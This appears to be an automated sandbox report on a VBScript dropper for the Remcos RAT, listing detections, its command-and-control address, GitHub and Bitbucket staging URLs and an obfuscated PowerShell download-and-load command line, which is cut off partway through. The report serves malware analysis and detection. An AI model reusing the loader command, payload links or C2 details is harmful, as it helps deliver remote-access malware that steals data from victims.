Windows Analysis Report
scan_doc20241024.vbs

Overview

General Information

Sample name: scan_doc20241024.vbs
Analysis ID: 1540845
MD5: 87e9c9fa5b677d82e0eba303bfee0768
SHA1: 26c03786558062484c7f275afedea681494c8b7f
SHA256: af2848711b8c1b41a6315cd18c52158f1c080f462c3d100df9670f5df265daf0
Tags: RATRemcosRATvbsuser-abuse_ch
Infos:

Detection

Remcos
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and load assembly
Sigma detected: Powershell download payload from hardcoded c2 list
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell download and execute
Yara detected Remcos RAT
.NET source code references suspicious native API functions
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (may stop execution after accessing registry keys)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Remcos, RemcosRAT Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
 https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

AV Detection
barindex
Found malware configuration
Source: 0000000D.00000002.2557660938.0000000000CD5000.00000004.00000020.00020000.00000000.sdmp Malware Configuration Extractor: Remcos {"Host:Port:Password": ["154.216.18.51:2404:1"], "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-JX5AIB", "Keylog flag": "", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}
Multi AV Scanner detection for submitted file
Source: scan_doc20241024.vbs Virustotal: Detection: 17% Perma Link
Source: scan_doc20241024.vbs ReversingLabs: Detection: 15%
Yara detected Remcos RAT
Source: Yara match File source: 13.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.1cfdff3d3c8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000D.00000002.2557660938.0000000000CD5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2553536275.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.1592934392.000001CFDFD7E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 8, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 4512, type: MEMORYSTR
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0042B1E6 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext, 13_2_0042B1E6
Source: powershell.exe, 00000006.00000002.1592934392.000001CFDFD7E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_b35eefd7-b
Source: unknown HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1419702608.000001CFCE2EB000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004081F9 FindFirstFileA,FindClose,FindNextFileA,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose, 13_2_004081F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004072E5 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose, 13_2_004072E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00407733 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose, 13_2_00407733
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00414795 FindFirstFileW,FindNextFileW,RemoveDirectoryW,FindClose,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose, 13_2_00414795
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00440A59 FindFirstFileExA, 13_2_00440A59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00404CF3 FindFirstFileW,FindNextFileW, 13_2_00404CF3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00405C8E __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose, 13_2_00405C8E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00407FDE FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose, 13_2_00407FDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040511A SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW, 13_2_0040511A

Software Vulnerabilities
barindex
Suspicious execution chain found
Source: C:\Windows\System32\wscript.exe Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.7:49712 -> 154.216.18.51:2404
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.7:49810 -> 154.216.18.51:2404
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.7:49761 -> 154.216.18.51:2404
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.7:49859 -> 154.216.18.51:2404
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.7:49905 -> 154.216.18.51:2404
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.7:49958 -> 154.216.18.51:2404
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.7:49978 -> 154.216.18.51:2404
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.7:49979 -> 154.216.18.51:2404
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.7:49981 -> 154.216.18.51:2404
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.7:49982 -> 154.216.18.51:2404
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.7:49980 -> 154.216.18.51:2404
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.7:49977 -> 154.216.18.51:2404
Source: Network traffic Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.7:49983 -> 154.216.18.51:2404
Source: Network traffic Suricata IDS: 2020423 - Severity 1 - ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound : 185.199.108.133:443 -> 192.168.2.7:49701
Source: Network traffic Suricata IDS: 2020425 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1 : 185.199.108.133:443 -> 192.168.2.7:49701
Source: Network traffic Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 185.199.108.133:443 -> 192.168.2.7:49699
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor IPs: 154.216.18.51
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.7:49712 -> 154.216.18.51:2404
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /santomalo/audit/main/img_test.jpg?14441723 HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /IJEUWAESIKA/nna/refs/heads/main/IFiinmS.txt HTTP/1.1Host: raw.githubusercontent.com
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.199.108.133 185.199.108.133
Source: Joe Sandbox View IP Address: 185.199.108.133 185.199.108.133
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: FASTLYUS FASTLYUS
Source: Joe Sandbox View ASN Name: SKHT-ASShenzhenKatherineHengTechnologyInformationCo SKHT-ASShenzhenKatherineHengTechnologyInformationCo
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49701 -> 185.199.108.133:443
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.199.108.133
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0041EE6D recv, 13_2_0041EE6D
Source: global traffic HTTP traffic detected: GET /santomalo/audit/main/img_test.jpg?14441723 HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /IJEUWAESIKA/nna/refs/heads/main/IFiinmS.txt HTTP/1.1Host: raw.githubusercontent.com
Source: RegAsm.exe String found in binary or memory: http://geoplugin.net/json.gp
Source: powershell.exe, 00000006.00000002.1592934392.000001CFDFD7E000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2553536275.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://geoplugin.net/json.gp/C
Source: powershell.exe, 00000006.00000002.1592934392.000001CFDFD7E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.1420244282.000001CFCFF33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD3F02000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000002.00000002.1731133022.000001ECDAE0D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1420244282.000001CFCFD11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD3F02000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000006.00000002.1420244282.000001CFCFF33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.1731133022.000001ECDAD8D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000002.00000002.1731133022.000001ECDADDB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1420244282.000001CFCFD11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD3F02000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD540A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1420244282.000001CFD48C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1420244282.000001CFD53E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: powershell.exe, 00000002.00000002.1731133022.000001ECDB2F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1420244282.000001CFCFF33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1419702608.000001CFCE273000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1420078473.000001CFCE454000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1420192137.000001CFCFD00000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1419702608.000001CFCE260000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1419702608.000001CFCE2EB000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1420244282.000001CFCFD11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1420244282.000001CFD4285000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bitbucket.org/adssgfdsg/testing/downloads/img_test.jpg?144417
Source: powershell.exe, 00000006.00000002.1592934392.000001CFDFD7E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.1592934392.000001CFDFD7E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.1592934392.000001CFDFD7E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000006.00000002.1420244282.000001CFCFF33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD5785000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1420244282.000001CFD48C2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: powershell.exe, 00000006.00000002.1592934392.000001CFDFD7E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000006.00000002.1420244282.000001CFCFF33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD3CC6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/IJEUWAESIKA/nna/refs/heads/main/IFiinmS.txt
Source: powershell.exe, 00000002.00000002.1764099594.000001ECF3383000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1731133022.000001ECDB2F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1420244282.000001CFCFF33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1419702608.000001CFCE273000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1420078473.000001CFCE454000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1420192137.000001CFCFD00000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1419702608.000001CFCE260000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1419702608.000001CFCE2EB000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1420244282.000001CFCFD11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1420244282.000001CFD4285000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723
Source: unknown Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.7:49699 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040F4A7 SetEvent,GetTickCount,DeleteFileW,ExitProcess,Sleep,Sleep,URLDownloadToFileW,MessageBoxW,ExitWindowsEx,LoadLibraryA,GetProcAddress,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,OpenClipboard,EmptyClipboard,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,SetWindowTextW,StrToIntA,CreateThread,ShowWindow,SetForegroundWindow,ShowWindow, 13_2_0040F4A7
Contains functionality to modify clipboard data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040F4A7 SetEvent,GetTickCount,DeleteFileW,ExitProcess,Sleep,Sleep,URLDownloadToFileW,MessageBoxW,ExitWindowsEx,LoadLibraryA,GetProcAddress,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,OpenClipboard,EmptyClipboard,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,SetWindowTextW,StrToIntA,CreateThread,ShowWindow,SetForegroundWindow,ShowWindow, 13_2_0040F4A7
Contains functionality to read the clipboard data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040F4A7 SetEvent,GetTickCount,DeleteFileW,ExitProcess,Sleep,Sleep,URLDownloadToFileW,MessageBoxW,ExitWindowsEx,LoadLibraryA,GetProcAddress,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,OpenClipboard,EmptyClipboard,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,SetWindowTextW,StrToIntA,CreateThread,ShowWindow,SetForegroundWindow,ShowWindow, 13_2_0040F4A7

E-Banking Fraud
barindex
Yara detected Remcos RAT
Source: Yara match File source: 13.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.1cfdff3d3c8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000D.00000002.2557660938.0000000000CD5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2553536275.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.1592934392.000001CFDFD7E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 8, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 4512, type: MEMORYSTR

Spam, unwanted Advertisements and Ransom Demands
barindex
Contains functionalty to change the wallpaper
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00414D7F SystemParametersInfoW, 13_2_00414D7F

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 13.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Author: unknown
Source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000000D.00000002.2553536275.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: REMCOS_RAT_variants Author: unknown
Source: Process Memory Space: powershell.exe PID: 4872, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 8, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Network Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{093FF999-1EA0-4079-9525-9614C3504B74} Jump to behavior
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8} Jump to behavior
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#GE#Z#Bz